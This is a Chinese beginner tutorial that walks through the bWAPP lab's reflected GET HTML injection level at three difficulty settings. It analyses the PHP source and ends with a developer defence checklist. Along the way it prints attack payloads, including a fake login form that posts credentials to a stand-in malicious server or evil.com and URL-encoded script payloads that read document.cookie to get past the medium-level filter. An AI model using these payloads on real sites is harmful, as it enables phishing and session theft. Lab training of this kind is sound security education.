零基础玩转bWAPP靶场(二):HTML注入(反射型GET)

📅 2026/7/16 3:29:18
零基础玩转bWAPP靶场(二):HTML注入(反射型GET)
摘要HTML注入是Web安全中最基础、也最容易被忽视的漏洞之一。它允许攻击者向网页中插入任意的HTML标签从而修改页面外观、伪造钓鱼表单或引入恶意资源。在bWAPP靶场的“HTML Injection - Reflected (GET)”关卡中我们将从低、中、高三个难度级别逐层深入分析源码、构造Payload并最终掌握从输入过滤到输出编码的完整防御体系。一、HTML注入的前世今生1.1 什么是HTML注入HTML注入HTML Injection顾名思义就是攻击者将恶意的HTML代码注入到Web页面中而这些代码会被浏览器当作合法的页面组成部分进行解析和渲染。与XSS跨站脚本不同HTML注入不一定需要执行JavaScript它可以是插入一张假图片、一个伪造的登录表单或者仅仅是一段让人社会性死亡的文字。它的本质在于服务端没有对用户输入进行任何处理直接将其嵌入到输出的HTML文档中。当浏览器渲染页面时无法区分哪些HTML是开发者写的哪些是攻击者“夹带”的于是全盘执行。1.2 为什么会产生这种漏洞根源来自一种过于天真的信任。早期Web开发中很多程序员认为用户输入只会是“姓名”“搜索关键词”这样的纯文本根本想不到有人会输入h1Hacked/h1。更糟糕的是PHP、ASP等早期语言提倡“快速开发”默认的输出方式就是字符串拼接没有任何安全机制。一个经典的“信任用户输入”的例子$name $_GET[name]; echo p欢迎你 . $name . /p;开发者满心以为$name会是“张三”结果攻击者传递了form actionevil.com/steal.php.../form页面一下子就变成了钓鱼页面。1.3 危害到底有多大不要小看HTML注入它的危害可以非常严重钓鱼欺骗注入一个高仿的登录框窃取用户密码。页面篡改替换整站内容发布虚假公告损害品牌声誉。挂马与恶意重定向通过meta刷新或iframe将用户引向恶意网站。社会工程学攻击诱导用户执行危险操作。突破同源限制的准备虽然纯HTML注入不涉及脚本但它可以为XSS、CSRF等攻击提供辅助比如通过注入一个隐藏的iframe发起CSRF请求或者加载外部恶意脚本。历史上许多著名网站都曾因为输入过滤不严而爆发HTML注入事件最远可以追溯到2000年代初期的留言板和论坛程序攻击者利用HTML注入进行大规模挂马形成“网页病毒”时代。1.4 bWAPP中的HTML注入关卡总览bWAPP提供了多个HTML注入练习包括反射型GET、反射型POST、当前URL反射、以及存储型博客注入等。今天我们专攻的“HTML Injection - Reflected (GET)”是最简单直白的反射型注入用户通过GET参数提交数据服务端立即在同一页面上“反射”出来漏洞极其容易被发现和利用。二、低难度low通关2.1 关卡入口与正常功能登录bWAPP后在左侧漏洞菜单中找到“HTML Injection - Reflected (GET)”点击进入。你会看到一个简单的个人信息输入页面输入框First name输入框Last name一个“Go”按钮正常使用时填入John和Smith点击Go页面会显示Welcome John Smith。2.2 攻击步骤Payload构造现在我们开始注入HTML。在First name处输入h1Hacked/h1Last name随便填提交。页面刷新后你会看到“Welcome”后面的“Hacked”变成了大标题样式。这说明h1标签被成功解析。进一步我们可以注入一个完整的钓鱼表单pEnter your first and last name:/p pFirst name:/p form actionhttp://恶意服务器/steal.php methodPOST input typetext nameusernamebr pLast name:/p input typepassword namepasswordbr input typesubmit valueGo /form把这个字符串填入First name提交。页面上会直接出现一个以假乱真的登录框。如果受害者真的输入了账号密码数据就会被发到攻击者指定的服务器。还可以注入图片、表格、甚至整个页面的CSS样式完全控制该区域的外观。2.3 源码分析漏洞是如何产生的我们来查看bWAPP低难度下的源码。在服务器上找到文件bwapp/htmli_get.php核心部分如下function htmli($data) { switch($_COOKIE[security_level]) { case 0 : $data no_check($data); // 低级分支核心 break; // 中、高级分支直接屏蔽仅保留Low逻辑 default : $data no_check($data); break; } return $data; } // 输入输出逻辑 if(isset($_GET[firstname]) isset($_GET[lastname])) { $firstname $_GET[firstname]; $lastname $_GET[lastname]; if($firstname or $lastname ){ echo font color\red\Please enter both fields.../font; }else{ $safe_first htmli($firstname); $safe_last htmli($lastname); echo Your full name: .$safe_first. .$safe_last; } } // 依赖无过滤函数 function no_check($data){ return $data; }过滤函数no_check()原样返回用户可控输入无任何 HTML 转义、标签替换GET 参数firstname/lastname完全可控处理后直接拼接输出到页面 HTML 中攻击原理输入 HTML/JS 标签会被浏览器解析执行可实现 HTML 注入、反射型 XSS测试 PayloadHTML 注入h1hack/h1XSS 弹窗scriptalert(low xss)/script风险无任何防护恶意代码 100% 执行。2.4 通关总结在低难度下我们成功利用HTML注入篡改了页面甚至可以构造钓鱼表单。通关的核心在于发现反射点、构造Payload并验证。三、中难度medium通关3.1 切换难度首先在bWAPP界面右上角或管理员菜单将Security Level设置为medium。3.2 尝试相同的攻击再次进入HTML Injection - Reflected (GET)关卡。我们在First name中仍然填入h1Hacked/h1Last name随意点击Go。观察页面回显。你会发现这次并没有出现大标题而是原原本本地显示了文本“h1Hacked/h1”。说明注入的HTML标签没有被渲染。3.3 验证其他Payload为了确保防御不是只针对h1标签我们再测试几个常见的注入代码img srcx onerroralert(1)a hrefevil.comClick me/a一个简单的钓鱼表单全部被原样显示没有任何渲染效果。3.4 源码分析防护机制此时查看源码htmli_get.php会看到与低难度不同的处理?php // 安全等级调度函数 function htmli($data) { switch($_COOKIE[security_level]) { case 1 : $data xss_check_1($data); break; default : $data no_check($data); break; } return $data; } // bWAPP中级过滤函数致命逻辑缺陷在functions_external.php 这个文件中 function xss_check_1($data) { // 仅替换原生字面 为HTML实体 $input str_replace(, lt;, $data); $input str_replace(, gt;, $input); // 后置强制URL解码覆盖前面的转义防护 $input urldecode($input); return $input; } // 低级无过滤函数 function no_check($data){ return $data; } // 参数接收、过滤、页面回显逻辑 if(isset($_GET[firstname]) isset($_GET[lastname])) { $firstname $_GET[firstname]; $lastname $_GET[lastname]; if($firstname or $lastname ){ echo font color\red\Please enter both fields.../font; }else{ $safe_first htmli($firstname); $safe_last htmli($lastname); // 用户可控内容直接输出至HTML文本节点 echo Your full name: .$safe_first. .$safe_last; } } ?xss_check_1设计目的使用str_replace()匹配原文字面、转换为 HTML 实体lt;、gt;阻止浏览器解析 HTML 与 JS 标签增加urldecode()全局解码开发者意图统一处理多层 URL 编码攻击载荷。核心致命漏洞执行顺序倒置先识别明文尖括号做 HTML 转义后全局执行urldecode()对整个字符串 URL 解码 HTML 实体lt;中包含 URL 编码字符%3C经过urldecode会反向还原为原生前置转义操作完全失效。不同 Payload 实测效果区分1、单层 URL 编码%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E // 直接弹出当前登录用户cookie值使用方式直接填入表单输入框提交 流转过程浏览器 GET 编码后参数不变PHP 自动解码一层得到scriptalert(document.cookie)/script函数将、转为lt;、gt;urldecode解码实体还原完整脚本标签 效果稳定弹窗本页面最优绕过载荷。2、双层 URL 编码%253Cscript%253Ealert(document.cookie)%253C%252Fscript%253E使用限制不能填入表单输入框仅能手动修改浏览器地址栏参数输入框提交浏览器自动新增一层编码变为三重编码最终页面只输出单层编码文本无法弹窗地址栏直接粘贴无额外编码后端两层解码还原完整 script 标签成功弹窗。补充将弹窗内容写入页面%3Cscript%3Edocument.body.innerHTMLdocument.cookie%3C%2Fscript%3E3.5 通关总结中级防护存在原生代码逻辑漏洞URL 编码类载荷可绕过防护触发反射型 XSS单层编码适配表单输入提交场景双层编码仅支持手动修改 URL 地址栏使用表单输入会被浏览器自动三重编码导致失效该关卡输出上下文为普通文本段落除 URL 编码 XSS 外其余类型注入载荷均无法执行 JS。四、高难度high通关4.1 切换到高难度将安全等级调至high再次进入关卡。4.2 攻击测试与观察使用h1Hacked/h1以及其他Payload提交后页面只显示纯文本。4.3 源码分析组合拳防御在高难度的源码中调用xss_check_3函数它通常包含输入验证 输出编码function htmli($data) { switch($_COOKIE[security_level]) { case 2 : $data xss_check_3($data); // 高级分支核心 break; default : $data no_check($data); break; } return $data; } // 输入输出逻辑不变 if(isset($_GET[firstname]) isset($_GET[lastname])) { $firstname $_GET[firstname]; $lastname $_GET[lastname]; if($firstname or $lastname ){ echo font color\red\Please enter both fields.../font; }else{ $safe_first htmli($firstname); $safe_last htmli($lastname); echo Your full name: .$safe_first. .$safe_last; } } // 高级强过滤函数 function xss_check_3($data, $encoding UTF-8) { // htmlspecialchars - converts special characters to HTML entities // (ampersand) becomes amp; // (double quote) becomes quot; when ENT_NOQUOTES is not set // (single quote) becomes #039; (or apos;) only when ENT_QUOTES is set // (less than) becomes lt; // (greater than) becomes gt; return htmlspecialchars($data, ENT_QUOTES, $encoding); } function no_check($data){return $data;}防护核心htmlspecialchars($data, ENT_QUOTES)标准 HTML 实体转义转义规则 → amp; → lt; → gt; → quot; → #039;防护效果所有 HTML 特殊字符转为文本实体浏览器只会将输入当做纯文本渲染无法解析任何 HTML、JS 代码无有效绕过手段常规 XSS、HTML 注入 Payload 全部失效安全结论此等级修复了反射型 HTML 注入 / XSS 漏洞是标准前端输出防御方案。4.4 通关总结调用xss_check_3($data)底层使用htmlspecialchars($data, ENT_QUOTES, UTF-8)标准 HTML 实体转义无后置 urldecode 解码操作。 会将 全部转为安全实体浏览器仅会将输入内容渲染为纯文本无法解析任何 HTML、JS 标签不存在任何通用绕过手段。五、终极总结三级难度对照与核心防御清单5.1 三级难度差异一览安全等级过滤核心逻辑能否 XSS 窃取 Cookie有效 Payload 类型缺陷说明Low无过滤直接输出原始输入完全可行明文 script 标签零防护恶意代码直接执行Medium先转义尖括号后强制 urldecode 解码单层 URL 编码稳定绕过单层 URL 编码 script 载荷处理顺序倒置URL 编码类载荷可还原完整 JS 标签Highhtmlspecialchars 全字符转义无二次解码全部失效无任何可用攻击载荷标准前端输出防御方案修复注入漏洞5.2 开发者防御指南所有动态输出都要经过htmlspecialchars处理且必须带上ENT_QUOTES和正确的字符集。使用模板引擎的自动转义功能如 Twig、Blade。对用户输入实施严格的白名单验证比如姓名只允许字母、空格、连字符。配置安全HTTP头Content-Security-Policy、X-Content-Type-Options: nosniff。永远不要信任任何来自客户端的数据哪怕是隐藏字段或下拉菜单。5.3 渗透测试人员发现技巧在URL参数中插入特殊字符观察回显。提交h1test/h1看是否渲染。若被转义查看转义后源码确认是何种处理。若防御严密则记录为“已验证无HTML注入”仍算有效测试。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。